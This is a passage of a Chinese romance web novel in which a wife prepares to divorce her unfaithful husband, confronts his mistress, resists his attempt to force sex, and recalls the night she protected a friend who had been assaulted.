他转身下楼,同时按下了接听键:“有事?嗯,你稍等一下……” 两人离得近,宋凝隐隐约约听到了电话那头传来了女人的哭声。 宋凝回到卧室就把门反锁了。 刷了一会儿新闻,突然被一阵又重又急的拍门声吓了一跳。 是小情人出什么事了,要立刻赶过去? 正合她意。 宋凝连门都没开:“公司要是有事你就赶紧去吧。” 可是屋外传来的却是另一个声音。 “开门。” 这是…… 宋凝一开门,就看到浑身大汗喘着粗气的丁予期。 他只穿着一套居家服,脸上全都是豆大的汗珠。 他微微眯起眼睛,上下打量了一下宋凝,见她衣服都穿的很齐整,挑眉问道:“你们还没发生什么吧?” 宋凝冷嗤:“你来晚了,事都办完了。” “什么?!” “丁律,我要你何用?” 来的这么慢,要不是林澜突然打来了电话,今天这一遭她还真难逃过去。 丁予期气笑了:“你一通电话我就赶过来,还骂我?” “你赶过来是为了傅东擎,又不是为了我。” “……” “难道不是?” “当然是。”丁予期扫视了一下卧室,“傅东擎人呢?” “你来的时候没看到他?” “没,院子里和客厅里都没人。” “那应该就是去车库了吧,跟小情人打电话呢。” 丁予期微微松了一口气:“他那个小情人叫林澜是吧?找个机会我可得好好谢谢她。” “放心吧,以后有的是机会,不过你恐怕得改口,叫嫂子。” “行啊,等你们两个离婚,我立马改口。” 宋凝没说话,只是仰头看着他。 丁予期:“怎么了?没见过帅哥?” “……你跟傅东擎真的是兄弟?” “不然呢,还能是姐妹?” “……” 丁予期突然沉下脸来:“把那些肮脏龌龊的想法从脑子里删掉。” 宋凝扁嘴:“你怎么知道我在想什么?” “很难猜吗?”丁予期突然正色起来,严肃地问道:“你们刚才没发生什么,对吧?” 宋凝无语:“放心吧,你的好兄弟傅东擎刚刚被小情人的电话叫走了,还没来得及发生呢。” 丁予期点了点头:“那就行。” “不过他最近三个月应该没少在林澜的温柔乡里沉醉。” “哦,无所谓。” 宋凝突然觉得不是很理解:“你这么介意我,却一点也不介意傅东擎跟林澜发生什么,怎么,我身上有瘟疫?我真的很好奇,你一直以来这么想让我跟傅东擎分开,到底是为什么,我到底做过什么得罪了你?” 丁予期眨了眨桃花眼:“你怎么不怀疑我其实在意的是你呢?” “……我还没疯。” “对,你没疯,你只是傻。”丁予期的眼神躲了一下,背过身去补充道:“我就是怕傅东擎近傻者呆,最后好好一个社会精英变成了小儿麻痹老年痴呆,到最后半身不遂生活不能自理。” “你可盼他点好吧。要是还不放心的话,你不如就舍身取义,用自己的肉身拯救一下你的好兄弟,变成弯的也总比生活不能自理好,对吧?” 丁予期噗嗤一声笑了:“别人都觉得你是个端庄温柔的乖乖女,真应该把你刚刚张牙舞爪伶牙俐齿的样子录下来,让其他人好好看看。” “看什么?” 傅东擎拿着手机回来了,有些意外:“予期,你怎么来了?找我有事?” 宋凝:“是啊,你的好兄弟有一个人生大事要跟你说。” 掰弯,可不是人生大事么。 傅东擎却有些恍然大悟:“人生大事?是不是你等了十多年的那个女孩,终于离婚了?” 丁予期:“……快了吧。” “可以啊,终于守得云开见月明了,恭喜啊。” 宋凝:“没想到啊,丁律口味挺重,喜欢的是个有夫之妇?” 丁予期瞪了她一眼:“大人说话小孩别插嘴。” 﨔 第七章 拆了傅东擎的台 傅东擎看得好笑:“我说你们两个,一个是我老婆,一个是我最好的兄弟,为什么一见面就能掐起来?” 宋凝无所谓地说:“不知道啊,可能他吃醋吧。” 傅东擎上前揽住她的腰,略带宠溺地说:“别胡说,咱们丁律有喜欢的女孩子。” 宋凝:“知道,有夫之妇。” 傅东擎颇有些怅然:“是啊,不过快离婚了,予期这么多年的等待,希望能有个好结果。” 宋凝对丁予期的八卦没什么太大兴趣。 无非就是一个现代版曹贼的故事。 她直接问傅东擎:“刚刚是公司的电话吗?是不是又有事要去忙?” 说起这个,傅东擎带着歉意:“是啊,有个紧急的事情必须得我到场,今晚可能要通宵加班了。阿凝,你早点睡,不用等我。” 宋凝心里在冷笑。 通宵加班? 小情人召唤,今晚怕是佳人有约。 宋凝点了点头:“你去吧,正好我也困了。” 她转身要进卧室,突然被傅东擎拉回了怀里,抬起她的下巴吻了下来。 宋凝飞快地偏过头去,吻落在了她的下巴上。 傅东擎微微不满:“怎么,跟老公kissgoodbye都不愿意?” 宋凝用力挣开他的怀抱:“不是说公司有急事,赶紧去吧。” 傅东擎嗤嗤闷笑:“是不是因为予期在这,害羞啦?没事的,予期跟我二十多年的交情,不是外人。” 宋凝催他:“你快走吧。” 傅东擎的手机又响起来了。 估计是林澜在催。 他笑着揉了揉宋凝的发丝:“那我走了,你乖乖在家,今晚可能会有雨,睡觉的时候记得关窗,明天一早我就回来。” 傅东擎快速离开了。 家里只剩下宋凝和丁予期两个人。 她抬眸:“你的好哥们都走了,你还不走?” 丁予期饶有兴致的抱着手臂沉思:“他就这么走了?就不怕我们两个孤男寡女共处一室发生点什么?” 宋凝无语:“你不是有喜欢的女孩么,人家结婚了还痴心不悔,不至于这么饥不择食吧?” 丁予期勾唇:“那也说不准啊。” “丁律今天还有其他事吗?” “没,怎么?” “既然有空,不如我们把委托书和离婚协议书的条款拟一下?” 丁予期点了点头:“正有此意。” 宋凝不是专业律师,她从网上下载了几份委托书和离婚协议的模版。 丁予期来了,她就翻出来都给丁予期看了看。 “丁律觉得如何?” 丁予期摇了摇头:“格式都不规范。” “那丁律给我展现一下你的职业素养?” 丁予期直接用她的电脑,很快就敲出了一篇规整完善的《委托书》。 “这个你打印出来,找个机会让他签字,一式两份,一份你自己保留,一份寄给我。” 说起正事,宋凝也严肃起来,“好,我尽快想办法让他签。” “还有就是离婚协议书,”丁予期说:“你们两个没有孩子,抚养权这一项就不用管,关键在于财产分割。” 宋凝直接说:“这个我查过,夫妻共有财产的分割,基本都是五五分。但是他出轨,是过错方,所以我主张四六分,他四我六。” 丁予期看了她一眼,轻笑:“我还以为宋小姐你高风亮节两袖清风,不求财产只求尽快离婚呢。” “该是我的,我凭什么不要?”宋凝说:“丁律师,你这么想让我们两个离婚,这一项就交给你了哦,财产我分不到六成,那就是你不努力呀。” “激将法?”丁予期没好气地说:“还有什么要求吗?可以告诉我,我一起写上去。” 宋凝沉默了一会儿,说:“我要抚养权。” 丁予期敲键盘的手猛地顿住:“……你们有孩子?” 他的目光下移,落在了她的小腹处。 宋凝把大衣外套重新裹了裹,遮住自己的肚子,轻声说道:“我们两个一起养大的小狗,得跟我。” 那还是他们热恋期的事了。 那是她和傅东擎在一起的第一个情人节,别人都送玫瑰,傅东擎送她了一只西高地。 小家伙刚到她身边的时候才刚断奶,小小白白的一个。 现在却已经是个十五岁的老年狗狗了。 “它已经十五岁了,按照狗的年龄来算,已经是高龄,身体上也有很多毛病,眼睛也失明了。这个家以后会迎来新的女主人,别人照顾它我不放心,所以我一定要把它带走。” 丁予期沉默了一会儿,语气温和了些:“如果傅东擎就抓住你舍不得小狗这一点,硬要跟你争抚养权,你是选择自己走,还是暂时不离了,留在这里陪狗狗终老?” 宋凝想了想,说:“我可以放弃所有的财产分割,只要小狗。” 丁予期怔忪了好一会儿,似乎在想什么。 宋凝轻笑:“丁律发什么愣呢,快写啊,小狗我是一定要的。” 丁予期回过神来,轻声说:“你不用放弃财产分割,如果一定要小狗的话,我的建议是你现在就把小狗转移走。” 宋凝想了想说:“小白它年纪大了,基础病很多,放去宠物店寄养我不放心。其他朋友的话,也都有各自的事情,不方便每天帮我照顾。” 丁予期接得很快:“放我那儿吧,我最近没什么案子,可以照顾它。” 宋凝有些怀疑:“你不是要去追姑娘吗?能有闲工夫帮我照顾狗?” 丁予期转过来看向她:“我们家姑娘也特别喜欢小狗。” 嗡—— 手机振动了一下。 宋凝拿起手机看了看,居然是林澜发来的微信。 【宋小姐,我们店里新到了一批珠宝,款式新颖,都特别好看,您看看有没有喜欢的?】 然后就是一堆图片,划都划不到头。 丁予期:“你不是不喜欢戴珠宝么,怎么还有人给你推销?” 宋凝没理他,直接给林澜回复:【这么晚了还要工作,没跟男朋友去约会吗?】 林澜:【我们女孩子就是要好好搞事业嘛,男人只能往后排喽,哈哈。】 宋凝:【是嘛,你很敬业。】 林澜:【嘿嘿,其实我男朋友也一直抱怨我没时间陪他来着,今天正好宋小姐您没来,我就提前下班了,回来陪陪他。】 宋凝:【看来是我经常去光顾,打扰了你们?】 林澜:【没有没有,宋小姐您千万别这么想,您是我们的超级vip客户,我刚刚发的那些,你看上了哪一款可以随时找我,我24小时为您服务!】 宋凝突然来了点恶趣味:【那好啊,我现在就去你们店里试戴一下,看看哪个适合我。你有没有时间过来?】 不是要约会? 那她就拆了傅东擎的台。 﨔 第八章 去看戏 宋凝说:“丁律,离婚协议就交给你了,委托书签好了我会联系你的。” 丁予期:“赶我走?” “我有事要出门一趟。” “这么晚了,宋小姐该不会是也要去会小情人吧?” 宋凝:“我去看戏。” “走,一起,正好我也想看看。” 宋凝原本没打算让丁予期掺和进来的。 但丁予期很快就关了电脑,下楼开车了。 宋凝觉得让他看看也无所谓,反正他讨厌的只有自己,这次去说不定还能提前认一认嫂子。 丁予期和宋凝到百货商厦的时候,是半个小时后了。 丁予期去停车,宋凝自己进去。 刚到走廊转弯处,就看到了珠宝店里的林澜了。 她已经换上了一身制服,戴上了蓝丝绒手套,正在在整理新到货的珠宝。 叮铃铃—— 宋凝手机响了,是傅东擎。 她冷笑了一下,接起来:“喂?” “阿凝,我事情办完提前回来了,你怎么没在家?” 宋凝故意问道:“不是有很紧急的事情吗?这么快办完了?” “这不是想着,赶紧办完事情回来陪你么。说好的最近都不去上班了好好陪你,今天也是特殊情况,所以临时离开了一下……” 宋凝觉得,这个借口简直可笑无比。 她深吸了一口气,说:“你说晚上不回来,我就去唐婷家玩了。” 唐婷是她最好的朋友,当了演员,小有名气,所以每次聚会都要乔装打扮好半天,而且多半得约在晚上。 之前好几次她都是晚上出来见唐婷,所以傅东擎这次也没起疑。 “唐婷不是前天还在横店拍戏,怎么就回来了?” “杀青了。” “那好吧。”傅东擎说:“那你们玩的开心点,明天早上我去唐婷家接你。” “不用了,唐婷的司机会送我回去的。” 挂了电话,宋凝慢慢往珠宝店走。 林澜很快就看到了她,笑着跟她打招呼:“宋小姐,你来了……不好意思,我电话响了,我先接一下。” 宋凝点了点头,找了个位置坐下,一边翻看着杂志一边等。 林澜的声音又甜又夹。 “……哎呀,你别生气嘛,这个富婆姐姐花钱很大方的,肯定不会让我白跑一趟的。” “她要看多久我也不知道啊,顾客就是上帝,我也不能催呀。” “好啦,我知道今天突然扔下你跑出来是我不对,改天我补偿你,好不好?” “哎呀你别闹,我这儿还有客人呢。” “先不跟你说了,客人还在等我呢,挂了。” 林澜挂了电话,小脸儿红扑扑的,眼睛也水汪汪亮晶晶的,一副沉浸在爱情中的小女人模样。 她捧着一个托盘走了过来,“宋小姐你看看,这几款是我觉得跟你的气质比较搭的,你可以先试试看,不喜欢的话我再给你换其他款式。” 宋凝点了点头:“好啊。” 林澜的手依旧那么漂亮,整理拆卸珠宝的时候仍旧是妩媚撩人。 “刚刚给你打电话的,是你男朋友吧?” 林澜的脸更红了:“嗯,他工作也忙,我最近也忙,聚少离多的。” 宋凝轻笑:“以后会有机会经常待在一起的。” 等她跟傅东擎离了婚,她们两个有的是机会幽会。 如果不想幽会,还可以直接娶回家天天会。 林澜俯下身帮她调整耳环的角度,轻声说:“男人啊,看起来高冷,其实一旦恋爱了,都粘人的很,有时候我都嫌他烦。” “是嘛,你们怎么认识的啊?” 林澜又羞涩起来:“就是他之前经常光顾我们店,说是要买珠宝送人,非要让我帮他试戴看看效果。然后一来二去的,他就说喜欢我……” 林澜的声音越来越小,到了最后变成了蚊子哼哼。 “他都买了什么珠宝啊?” “就是耳环啊项链啊这些,我们店里基本的款式他都买过。” 宋凝点了点头:“这些可都是女人戴的啊,他不会是买给其他女人了吧?” 林澜调整耳环的手猛地一顿,挂钩扯的宋凝耳朵生疼:“嘶——” 她用手沾了沾耳垂,流血了。 “啊,对不起,对不起宋小姐,我不是故意的……”林澜赶紧抽出纸巾来帮她擦。 “你干什么?!” 一股巨大的力道冲了过来,把林澜推倒了一边,扑在了货柜上,重重的一声闷响,想必是撞的不轻。 宋凝还没回过神来,一股热气就喷在自己的颈侧。 耳垂一热,似乎是被人碰了一下。 “你没事吧?” 宋凝看清楚来人,蹙起眉心:“你怎么跟过来了?” 丁予期一张脸绷得紧紧的,用下巴点了点她受伤的耳垂:“不是说要来看戏?你这戏看的挺费耳朵啊。” 宋凝从包里抽出几张纸巾,擦了擦耳朵上的血迹。 白色的纸巾被润湿了好大一片鲜红,看样子是流了不少血。 林澜委屈极了,“这位先生,真是抱歉,是我不小心弄伤了您太太,我这就去买酒精和棉签给她消毒。” “不用了,”丁予期冷漠地拒绝了她:“我带她去医院看看。” 他拉着宋凝的手臂往外扯:“走,时间长了会感染。” 一路上,宋凝感觉自己的屁股都没挨着座椅。 丁予期把车开得像是在空中飞。 “丁律,有一天你不做律师了,其实可以考虑转行当赛车手。” 丁予期没好气的瞥了她一眼:“你还是伤得太轻了。” “本来也不太严重,我回家自己消一下毒涂点药就好了,不用去医院的。” 丁予期:“你就不怕最后长好了,两个耳垂一边长一边短?” 宋凝说:“那我就把另一个耳垂也扯长一点,当个弥勒佛,哈哈。” 最后还是去了医院。 医生给她消了毒,做了清创,又开了点消毒杀菌的药水,嘱咐她回家自己涂。 丁予期全程抱着手臂,沉着脸靠在一边。 临走的时候,丁予期才开了口追问:“她这种情况需不需要打一针破伤风?” 医生说:“不用的,耳环是金子做的,只要没有铁锈,问题就不大。” “空气中是不是也有破伤风杆菌?要不该是给她来一针吧,稳妥一点。” 宋凝无语:“空气中还有狂犬病毒呢,你怎么不给我来一针狂犬疫苗?” 医生噗嗤一声笑了:“你们两口子说话还挺逗,过日子应该很有意思吧?” 宋凝是自己打车回家的。 丁予期说要送她,但宋凝婉拒了。 原本一见面就剑拔弩张的两个人,突然他送她回家了算是怎么回事? 离婚证没办下来之前,不能让傅东擎察觉到她跟丁予期走的太近。 宋凝到家的时候,已经是凌晨了。 保姆刘姨已经下了班,整个客厅都是黑的。 但是她在别墅外面就注意到了,主卧室的灯是亮的——傅东擎还没睡。 而且,她在别墅的玄关处看到了一双熟悉的黑色漆皮高跟鞋。 这双鞋她可太熟悉了。 林澜的。 跟傅东擎的黑色皮鞋摆在一起。 还挺登对。 﨔 第九章 傅东擎,我们离婚吧 宋凝直接去冰箱里取了点水果,随便摆了个果盘。 然后拿着上了楼,敲响了主卧室的门。 “谁?” 宋凝没应,只是从敲门变成了砸门。 “刘姨?是你吗?”傅东擎问了一句:“这么晚了有什么事明天再说吧。” 隔着一层木门,林澜的声音压得很低:“谁呀?” “家里的保姆。” “保姆这么晚来敲门干什么?” 傅东擎说:“估计是看天气快下雨了,来提醒我关窗的。” 紧接着,是一阵脚步声,从远及近。 吱呀一声,门被打开了。 傅东擎身上还穿着浅灰色的睡衣,带着居家的黑框眼镜,脸上有微微地不耐,冷声说道:“刘姨,以后没事晚上不要来敲门……阿凝?你怎么突然回来了?” 宋凝看着他慌乱的表情,心里生出一丝邪恶的快慰:“想你了啊,回来陪你。你不说要备孕么?吃了水果,我们直接开始?” 傅东擎的脸色顿时变得非常难看。 宋凝冷笑:“怎么,不愿意啊?还是说,傅总今晚佳人有约,我回来的不是时候,打扰你们了?” 林澜走过来的时候,像是一只小鸟已经,依偎在傅东擎的肩膀上:“东东,怎么还没说完呀?” 东东。 宋凝看向傅东擎。 叫的可真够亲热的。 傅东擎的爸妈都不敢这么叫。 宋凝笑着挥了挥手:“你好啊导购小姐,吃水果吗?” 林澜顿时脸色刷白:“你是……富婆姐姐?” “是啊,你口中的东东就是我那个从来没出现过的丈夫,惊不惊喜意不意外?” 林澜慌不择路:“我不知道,我不知道你们是夫妻……” 傅东擎冷着脸,拉着宋凝的手腕,“你跟我来。” 他强行把宋凝带去了客房,砰的一声关上了门。 宋凝冷笑了一声:“怎么,我们两个的关系就这么见不得人?还是你舍不得你的小情人,怕她看到了伤心?” 他神情冷峻,周身散发着一股寒意。 跟平时温柔缱绻的样子仿佛判若两人。 “你故意的?” “是。”宋凝直接爽快的承认了:“不行吗?” 宋凝带来的水果早已经滚落了一地。 傅东擎看着地上滚落的水果,再次冷声问道:“你其实早就早知道了,对吧?” “是又怎么样?”宋凝说:“一边跟我备孕,一边把情人接到家里来,穿着我的睡衣,踩着我的拖鞋,躺在我的床上。傅东擎,你觉得这样很刺激吧?” 傅东擎眼神锐利,“你经常去她的店里买首饰?” “嗯,花你的钱,刷你的卡,给你的小情人带了不少业绩呢。” “所以,你今晚这一出,又是谎称跟唐婷有约,又是突然杀了个回马枪,就是为了捉奸在床?” 宋凝抬起头,冷冷地看着他。 “傅东擎,你还记得结婚的时候你是怎么说的吗?” 婚礼那天,他哭了。 红着眼睛,单膝跪在地上说:“阿凝,如果以后我变心了,就让我天打雷劈,不得好死。” 可是这才几年功夫,他就已经把小情人带回家里来了。 傅东擎暴怒地吼道:“宋凝,你故意耍我是吧?!把我耍来耍去的很好玩是吗?” “我不想跟你吵,”宋凝直接说:“傅东擎,我们离婚吧。” “不可能,”傅东擎眉心紧紧拧着:“我对她不是你想的那样。” 宋凝直接笑出了声:“你对她怎么样,我自己有眼睛看。” “我没有跟她睡过!”傅东擎愤怒地说:“她只是一个……算了,既然你这么介意,我会处理好她,以后不会再跟她接触了。但是离婚,你想都别想!” 宋凝直接冷声开了口:“处理她?你舍得吗?” “我们这么多年,我对你的心谁不知道?我们认识的所有人,你随便抓一个回来问问,看看他们眼中的我对你如何?!宋凝,不要仗着我爱你,就可以对我颐指气使。” “我并没有对你颐指气使,是你,傅东擎,你先背叛了我们的婚姻……” 傅东擎听了这话,像是受到了什么大刺激一样,愤怒地指着外面怒吼道:“是我先背叛的吗?是你吧?大四的时候你跟吴教授在酒店里待了一夜!你当我什么都不知道吗?!这么多年我不提这件事,就是不想旧事重提,破坏我们的感情!但是宋凝,我是个男人!自己的女人为了保研去陪导师睡觉!你让我怎么忍得下这口气!” 宋凝有些发怔。 她没想到,七年前的事情会在这个时候被提起来。 更没有想到,这件事居然让傅东擎耿耿于怀这么多年。 宋凝冷冷地说:“我跟吴教授去酒店是因为……” “好了,我不想听你解释,”傅东擎打断了她:“予期亲眼看到你们两个早上从酒店里走出来的,要不是他告诉我,我也不敢相信,我当成珍宝捧在掌心里的女人,居然是这么一个……随便的人。” 他顿了一下。 从嘴型可以看得出,他原本是想说“放 荡”。 但最后临时又换成了“随便。” 宋凝突然间恍然大悟。 原来,丁予期这么多年对她横眉冷对,是因为这个。 怪不得他一点都不排斥林澜,反而对她横挑鼻子竖挑眼。 傅东擎说:“既然话都已经说到这个份上了,我就索性挑明了。那时候我爱惜你,心疼你,你没有点头我就硬憋着不碰你。但是你转头就去跟年龄能当你爸的老男人开房!宋凝,如果不是我真的爱你,当时我就会跟你分手……” “现在分也不晚,”宋凝说:“如果你真的介意的话,明天我们就去办离婚手续。” 之前还怕他不肯离婚。 现在好了,直接吵翻,也用不着去求丁予期帮忙。 傅东擎再一次拒绝了:“我不会离婚的。你婚前出轨,我婚后出轨,我们一人一次,扯平了。以后我们谁都不要再提起这两件事,就当没发生过。” “傅东擎,既然这么介意,为什么不分开?心里扎着一根刺,你不难受吗?” 傅东擎闭了闭眼,苦笑:“谁让我爱你呢,宋凝,我特么这辈子栽你手里了……” “啊呀!” 门口传来一声尖叫。 傅东擎打开客房的门,只见林澜摔倒在外面,痛得掉了眼泪。 而不远处,还有一根被踩坏的香蕉。 﨔 第一十章 他不了解她,更不信任她 林澜眼睛红红的,像是一只委屈的小兔子。 “东东,我的脚好痛。” 宋凝直接绕过傅东擎就要走。 手腕却被一把抓住。 傅东擎用力把她拉回了怀里,皱着眉低斥:“这么晚了,干什么去?” “你管我?管好你的小情人就行。” “不是都说好以后都不提这件事了吗?”傅东擎打了个电话出去。 宋凝问他:“你打给谁?” “物业,让他们想办法把林澜送走。” 宋凝用尽力气拼命抽回自己的手,“你放开我。” “你第一次给别人了老子都没放过你,你别想跑!” 傅东擎直接弯腰把宋凝扛了起来,转身进了主卧室。 宋凝奋力踢腾挣扎:“傅东擎你有病吧?你要干什么?” “干什么?”傅东擎把她仍在软柔的大床上,整个人也迅速压了上来,捏住她的下巴重重吻了上去,从牙关里吐出两个字:“备孕!” “嘶——” 傅东擎突然送开了她,倒吸了一口凉气。 他用指尖碰了碰舌头,殷红的血色停留在指尖。 “咬我?” 宋凝拼命呼吸着,冷声说道:“你小情人还在外面看着呢!” 傅东擎低声咒骂了一句,往门的方向走了过去。 林澜还保持着跌坐在地上的姿势,一切都发生的太过电光火石,她也没反应过来。 但本能的对于傅东擎的依赖,还是让她在看到傅东擎朝着她的方向走过来的时候,眼泪忍不住的往外涌。 “东东,我真的很疼……” 砰! 主卧室的门被傅东擎从里面摔上。 巨大的嗡嗡声,仿佛墙壁都在跟着一起震动。 主卧室的门彻底阻隔了她的视线,而里面正在发生的一切,已经不言而喻。 林澜不是傻子,或者是,能做到销冠的人,都不会是傻子。 方才傅东擎和宋凝的对话,她已经都听了个完完整整。 傅东擎爱宋凝,无可置疑,他只是一直憋着一口气,因为宋凝的第一次没有给他。 他觉得心里不平衡,觉得委屈,觉得痛苦。 所以才选择了她,当做报复宋凝的对象。 从头到尾,傅东擎对她的好,对她的宠,根本就是一场戏,一场给他自己找心理平衡的出轨大戏。 林澜冷笑了一声,扶着墙壁缓缓站了起来。 既然如此,那就别怪她了。 主卧室里,一场夫妻生活像是在打仗。 宋凝拼了命的抗拒,傅东擎也一改往日的温柔呵护,变得强势霸道,毫不退让。 她用手推拒,他就把她的手腕按在头顶,让她动弹不得。 她抬脚就踢,傅东擎顺势拨开她的腿,往旁边压。 宋凝急的哭了出来,疯狂的咒骂他:“傅东擎,婚内强 奸也算强 奸!我会去告你的!” “你告啊,予期就是律师,你能告的赢老子以后跟你姓!” “你……你滚开!” 宋凝终于找到机会,挣脱了他的桎梏,抬起膝盖撞向了他的薄弱处。 她这一下用了全力,傅东擎的脸色顿时变得苍白扭曲,虽然还保持着按着她手腕不让她跑的姿势,但终究是停下来了。 一场体力博弈,宋凝也失去了继续反抗的能力。 她的手还是被他控制着,只能把脸偏到一边去,不再看他。 傅东擎休息了一会儿,从她身上翻下来,侧身揽着她的腰:“别气了,我错了,我们好好过吧。” 宋凝闭上了眼睛。 “……这件事的确藏在我心里很多年了,我知道,一旦说开了,以你的性格肯定会选择离开我。但是没有任何一个男人能容忍自己的女朋友去跟老男人睡觉,阿凝,我只是想填补一下我心里的不甘,我没跟她发生什么。” 两个人都疲惫至极。 不管是心里还是身体。 宋凝体力弱势,心也在一寸一寸冰凉下去:“我跟吴教授也没发生什么,不管你信不信,这就是事实。” “孤男寡女,一起去酒店开房过夜,第二天早上才出来,什么都没发生?阿凝,说谎要讲基本法。” “你不信?” “我的阿凝太美太漂亮,我信你能忍得住,但不信那个老男人能坐怀不乱。” “……” “要不然你告诉我,你们两个那一晚在酒店里做了什么?总不能是看电视打扑克,盖着棉被纯聊天?” “……” “更况且,我们两个第一次发生关系的时候,我没有感受到内部的阻碍。” 宋凝原本还想说话,但听到后面这一句的时候,她连说话的欲 望都没有了。 很多医生和专业早就科普过,膜这个东西,会在运动中或者其他事情中自己破损。 尤其是已经到了现代社会,不再像古代一样女孩十二三岁就结婚,现代女性完成学业至少也是二十岁出头,身体早已经发育成熟。 但宋凝很清楚,傅东擎不是不知道这个道理。 这根刺已经扎在他心里够久了。 现在说什么都没有用了。 “傅东擎,你还是不信任我。” 傅东擎只是去吻她的脸:“我爱你就够了。” 这一晚,傅东擎到底是没有继续强迫她。 “阿凝,我们还有一辈子的时间,不急这一次。” 宋凝在在心里说了一声,没有一辈子了。 她跟傅东擎之间,其实根本不是出不出轨的问题,也不是吴教授或者林澜的问题。 是傅东擎早已经认定她是个可以为了研究生名额甘愿奉献自己身体的人。 他不了解她,更不信任她。 现在这件事可以暂时弥合,但始终都横亘在两人中间,成为这辈子也解不开的死结。 自从那一晚把话说开之后,傅东擎似乎是放下了心里的大石头,对宋凝更加呵护备至。 刘姨的汤也几乎是天天换着花样的炖,宋凝不喝,她就用补汤煮菜,煮饭,反正傅东擎交代过,一定要让她调养好身体,尽快怀孕。 而宋凝每次出门,都能感觉到身后有尾巴跟着。 她故意去了商场的女洗手间躲了一会儿,然后就看到了有两男两女也来了洗手间门口。 两个男的在门口守着,两个女的进了她左右两边的隔间。 宋凝故意按了一下冲水,左右两边也相继响起了冲水声,然后两个女人推门而出。 宋凝推开门走出来的时候,问了一句:“是傅东擎派你们来跟踪我的吗?” 两个女人只是说:“太太,傅总只是怕你遇到危险。” 宋凝笑了。 光天化日朗朗乾坤,和谐社会人潮涌动,能有什么危险? 唐婷发来消息:【阿凝,我从横店回来啦,有空不?吃个饭?】 宋凝发了商场的定位。 唐婷:【等我乔装一下,你先去店里定包厢,我随后就到!】 身边的两个女人探头探脑的,想看她跟谁联系,又怕宋凝生气。 宋凝说:“唐婷。” 末了,想起自己之前用唐婷做过借口。 于是又补了一句:“不信你们自己一会儿看是不是她,但有一条,你们只能在包厢外面等,不能进去,更不能听我们的谈话。” 﨔 第一十一章 我谁也不信 唐婷来的时候,几乎是全副武装。 帽子,眼镜,口罩,连头发都卷了起来塞在了帽子里,一点线索都不露。 进了包厢,她还有些疑神疑鬼的:“我怎么感觉外面一直有两个女人在盯我呢?” 宋凝给她倒了一杯茶:“那两个不是狗仔,放心吧。” “你怎么知道不是?” “因为那两个是跟踪我的。” 唐婷摘下了所有的遮挡物,放到一边,大喇喇地坐了下来,一口气灌了一杯茶水。 “烦死了,一天到晚跟跟跟,老娘又没谈恋爱,跟个屁啊跟。” 宋凝说:“还不是你太红了,狗仔跟着你,但凡有点发现,都能引爆热搜。” 唐婷哀嚎了一声:“早知道我就不当明星了,现在每天都提心吊胆的……” “你又没什么黑料,怕什么?” 这话一出,两个人同时都觉得有些尴尬。 七年前的那个晚上,是两个人的秘密,也是两个人共同的梦魇。 唐婷握住宋凝的手,说:“阿凝,这些年多谢你。” 宋凝轻笑:“谢我什么?” “如果不是你那一晚跟吴教授及时赶到,我恐怕……真要死在那儿了。” 唐婷从小就长得漂亮,是那种很张扬艳丽的漂亮。 宋凝则是偏向于端庄柔和的美。 虽然两种都是美,但唐婷显然更吸引男人的目光。 事情坏就坏在,上大学那会儿,唐婷作为校花,知名度太高了。 而且她热爱文艺,学校组织的各种歌唱晚会,还有文艺表演,她都会积极参加,并且拔得头筹。 也正式因为这样,她在大学时期就已经小有名气,并且收到了好几个星探的名片,希望能跟她签约,推她成名。 原本她的人生就该是一切顺遂,光彩照人的。 但是变故就发生在大四毕业晚会的那天晚上,唐婷穿着跳舞的背心短裙,路过了学校门口不远处的工地。 再然后,她就被捂住了口鼻,带到了酒店里。 还是酒店的前台发现情况不对劲,报了警。 警方联系了辅导员,但辅导员那天刚好出差了不在本市,于是打电话给了自己的好友吴教授,请他帮忙处理。 吴教授是个有女儿的人,知道这件事一旦传出去,对女孩子的名誉和心理都是重创。 正好那时候宋凝也出来找许久未归的唐婷,两人商量之后,一起赶到了酒店。 吴教授带着警方一起制服了那几个酒后上头的年轻工人,宋凝则留在酒店里陪了唐婷一夜。 唐婷的衣服撕成了碎片,身上大大小小的全是伤,见到宋凝的时候已经什么话都不会说了,只是抱着她哭。 而吴教授怕两个女孩子留在酒店里不安全,于是选择在房间外的走廊里,守了她们一夜。 直到第二天早上,唐婷的父母也赶到了,把唐婷接回了家。 宋凝才和吴教授一起,从酒店出来,回了学校。 吴教授告诉她:“这件事,从今天开始,就只有我们两个人知道,任何人都不能说,不然唐婷就真的毁了。” 宋凝也明白这个道理,从此把这个秘密烂在了肚子里。 唐婷叹了口气:“那一晚真的就像是噩梦一样,这么多年了,我还是常常被梦吓醒。” 宋凝安慰她:“都过去了,你现在不是很好嘛,我的唐大明星。” 唐婷无语道:“人家现在有艺名,叫唐欣鸢。” “好好好,唐欣鸢。” 唐婷忽然反应过来:“不对啊,你又不是明星,怎么也会被跟呢?别是你家老傅在商场上得罪了什么人,想要绑架你威胁他就范吧?” 宋凝白了她一眼:“你偶像剧演多了吧?真实的商战哪有这么小儿科。” “那两个女的究竟是谁?” 宋凝垂眸,抿了一口茶:“傅东擎的人。” 唐婷惊讶地张大了嘴巴:“不是,他吃醋都吃到我身上了?你家老傅真够可以的,他不应该去搞AI大数据,应该去开个酿醋厂,一厂房的醋都被他承包了。” “我准备跟他离婚了。” 唐婷一下子没反应过来:“怎么这么突然?之前不是还好好的么。” “有点复杂,一句两句说不清楚,”宋凝说:“不过你放心,你的事他不知道,我没说。” 唐婷露出一副有些内疚地神色来。 “秘密这种事,最好就是闭紧嘴巴,带进棺材里。一旦告诉了一个人,迟早就会有十个人知道。” 唐婷问她:“……你连老傅都信不过吗?” 宋凝说:“事关你的人生,我谁也不信。” 嗡嗡—— 手机振动了两下。 丁予期:【委托书和离婚协议书都签好了吗?】 宋凝无语:【你很急吗丁律?放心吧,我巴不得赶紧卷铺盖走人给你腾位置,不耽误你们的社会/主义兄弟情。】 丁予期:【我的时间很宝贵,你可别给我反反复复要离不离的。】 宋凝:【行行行知道了。】 唐婷问:“谁呀?能把你气成这样,手机屏幕都快戳烂了。” “傅东擎的那个好哥们,丁予期。” “那个毒舌律师?” “嗯。” 唐婷有些狐疑:“你跟他不是不对盘么,什么时候还加上联系方式了?” 宋凝说:“相互利用,完事就删。” 宋凝把邮箱里的两份文件发给了唐婷,“我现在被跟踪着,不方便去打印店,麻烦你帮我打印一下,让你助理寄给我就行。” 唐婷用手机大概看了一下,“……你还真的准备跟老傅离婚啊?” “嗯。”宋凝说:“麻烦尽快吧。” 唐婷点了点头:“行,反正不管你做什么决定我都支持你。正好我从横店回来的时候,给你买了不少那边的特产,到时候把文件混在里面,让我助理一起寄给你。” 